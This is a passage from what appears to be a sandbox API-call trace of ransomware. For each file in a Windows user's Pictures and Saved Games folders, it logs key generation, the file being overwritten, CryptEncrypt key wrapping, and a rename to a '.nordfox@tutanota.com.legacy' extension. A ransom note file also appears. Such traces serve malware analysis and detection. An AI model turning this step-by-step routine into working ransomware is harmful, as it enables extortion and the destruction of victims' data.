lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.177] CloseHandle (hObject=0x600) returned 1 [0113.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0113.178] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\0rDesT6kKLWA05N2x0HJ.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\0rdest6kklwa05n2x0hj.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\0rDesT6kKLWA05N2x0HJ.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\0rdest6kklwa05n2x0hj.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0113.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0113.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0113.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0113.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0113.185] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0113.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0113.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0113.185] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\0oBfVS Usv6dK.png", dwFileAttributes=0x80) returned 1 [0113.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0113.194] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0113.195] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\0oBfVS Usv6dK.png" (normalized: "c:\\users\\fd1hvy\\pictures\\0obfvs usv6dk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.195] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=36037) returned 1 [0113.197] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x8cc5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x8cc5, lpOverlapped=0x0) returned 1 [0113.204] SetFilePointer (in: hFile=0x600, lDistanceToMove=-36037, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.205] WriteFile (in: hFile=0x600, lpBuffer=0x5f28a0*, nNumberOfBytesToWrite=0x8cc5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f28a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8cc5, lpOverlapped=0x0) returned 1 [0113.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f28a0 | out: hHeap=0x520000) returned 1 [0113.208] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8cc5 [0113.208] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.208] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.212] WriteFile (in: hFile=0x600, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.213] WriteFile (in: hFile=0x600, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.213] CloseHandle (hObject=0x600) returned 1 [0113.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0113.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0113.214] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\0oBfVS Usv6dK.png" (normalized: "c:\\users\\fd1hvy\\pictures\\0obfvs usv6dk.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\0oBfVS Usv6dK.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\0obfvs usv6dk.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7e60 | out: hHeap=0x520000) returned 1 [0113.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0113.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0113.296] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.296] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0113.296] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\0HllVzVX1aBxHiyvB.png", dwFileAttributes=0x80) returned 1 [0113.297] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0113.297] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8140 [0113.297] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0113.298] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\0HllVzVX1aBxHiyvB.png" (normalized: "c:\\users\\fd1hvy\\pictures\\0hllvzvx1abxhiyvb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.298] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=54799) returned 1 [0113.298] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd60f) returned 0x5e9bd0 [0113.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd60f) returned 0x5f71e8 [0113.299] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xd60f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xd60f, lpOverlapped=0x0) returned 1 [0113.302] SetFilePointer (in: hFile=0x600, lDistanceToMove=-54799, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.303] WriteFile (in: hFile=0x600, lpBuffer=0x5f71e8*, nNumberOfBytesToWrite=0xd60f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f71e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd60f, lpOverlapped=0x0) returned 1 [0113.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f71e8 | out: hHeap=0x520000) returned 1 [0113.306] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd60f [0113.306] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.306] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.308] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.309] WriteFile (in: hFile=0x600, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.309] CloseHandle (hObject=0x600) returned 1 [0113.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0113.309] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\0HllVzVX1aBxHiyvB.png" (normalized: "c:\\users\\fd1hvy\\pictures\\0hllvzvx1abxhiyvb.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\0HllVzVX1aBxHiyvB.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\0hllvzvx1abxhiyvb.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8140 | out: hHeap=0x520000) returned 1 [0113.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0113.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0113.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0113.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0113.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0113.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0113.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0113.320] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\-bG186JrIOk4zFG1.jpg", dwFileAttributes=0x80) returned 1 [0113.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0113.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8088 [0113.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0113.321] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\-bG186JrIOk4zFG1.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\-bg186jriok4zfg1.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.321] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=7292) returned 1 [0113.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c7c) returned 0x5e9bd0 [0113.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c7c) returned 0x5eb858 [0113.321] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x1c7c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1c7c, lpOverlapped=0x0) returned 1 [0113.322] SetFilePointer (in: hFile=0x600, lDistanceToMove=-7292, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.323] WriteFile (in: hFile=0x600, lpBuffer=0x5eb858*, nNumberOfBytesToWrite=0x1c7c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5eb858*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1c7c, lpOverlapped=0x0) returned 1 [0113.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5eb858 | out: hHeap=0x520000) returned 1 [0113.323] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1c7c [0113.323] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.323] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.323] WriteFile (in: hFile=0x600, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.323] WriteFile (in: hFile=0x600, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.323] CloseHandle (hObject=0x600) returned 1 [0113.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0113.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0113.324] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\-bG186JrIOk4zFG1.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\-bg186jriok4zfg1.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\-bG186JrIOk4zFG1.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\-bg186jriok4zfg1.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8088 | out: hHeap=0x520000) returned 1 [0113.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0113.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0113.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0113.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d98 | out: hHeap=0x520000) returned 1 [0113.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0113.326] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\PrintHood\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9952fde0, ftCreationTime.dwHighDateTime=0x1d4cd14, ftLastAccessTime.dwLowDateTime=0x91938170, ftLastAccessTime.dwHighDateTime=0x1d4d45c, ftLastWriteTime.dwLowDateTime=0x91938170, ftLastWriteTime.dwHighDateTime=0x1d4d45c, nFileSizeHigh=0x0, nFileSizeLow=0x10db6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="z_jYiB5W6TpBP3FH8O.png", cAlternateFileName="Z_JYIB~1.PNG")) returned 0xffffffff [0113.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0113.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0113.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0113.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.326] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Recent\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9952fde0, ftCreationTime.dwHighDateTime=0x1d4cd14, ftLastAccessTime.dwLowDateTime=0x91938170, ftLastAccessTime.dwHighDateTime=0x1d4d45c, ftLastWriteTime.dwLowDateTime=0x91938170, ftLastWriteTime.dwHighDateTime=0x1d4d45c, nFileSizeHigh=0x0, nFileSizeLow=0x10db6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="z_jYiB5W6TpBP3FH8O.png", cAlternateFileName="Z_JYIB~1.PNG")) returned 0xffffffff [0113.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0113.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0113.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0113.334] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Saved Games\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2098343, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c65d8 [0113.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0113.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0113.335] GetLastError () returned 0x5 [0113.335] SetLastError (dwErrCode=0x5) [0113.335] GetLastError () returned 0x5 [0113.335] SetLastError (dwErrCode=0x5) [0113.335] GetLastError () returned 0x5 [0113.335] SetLastError (dwErrCode=0x5) [0113.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0113.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0113.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0113.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0113.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6518 [0113.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6518 | out: hHeap=0x520000) returned 1 [0113.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0113.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0113.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0113.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0113.335] FindNextFileW (in: hFindFile=0x5c65d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2098343, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0113.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0113.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0113.335] GetLastError () returned 0x5 [0113.335] SetLastError (dwErrCode=0x5) [0113.336] GetLastError () returned 0x5 [0113.336] SetLastError (dwErrCode=0x5) [0113.336] GetLastError () returned 0x5 [0113.336] SetLastError (dwErrCode=0x5) [0113.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0113.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0113.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0113.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0113.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6058 [0113.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6058 | out: hHeap=0x520000) returned 1 [0113.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0113.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0113.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0113.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0113.336] FindNextFileW (in: hFindFile=0x5c65d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0113.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0113.336] GetLastError () returned 0x5 [0113.336] SetLastError (dwErrCode=0x5) [0113.336] GetLastError () returned 0x5 [0113.336] SetLastError (dwErrCode=0x5) [0113.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0113.336] GetLastError () returned 0x5 [0113.336] SetLastError (dwErrCode=0x5) [0113.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0113.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0113.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0113.337] FindNextFileW (in: hFindFile=0x5c65d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2098343, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2098343, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd20ba189, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0113.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0113.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0113.337] GetLastError () returned 0x5 [0113.337] SetLastError (dwErrCode=0x5) [0113.337] GetLastError () returned 0x5 [0113.337] SetLastError (dwErrCode=0x5) [0113.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0113.337] GetLastError () returned 0x5 [0113.337] SetLastError (dwErrCode=0x5) [0113.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0113.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0113.337] FindNextFileW (in: hFindFile=0x5c65d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2098343, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2098343, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd20ba189, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0113.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0113.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0113.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0113.337] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0113.337] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0113.337] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Saved Games\\desktop.ini", dwFileAttributes=0x80) returned 1 [0113.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0113.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563960 [0113.338] 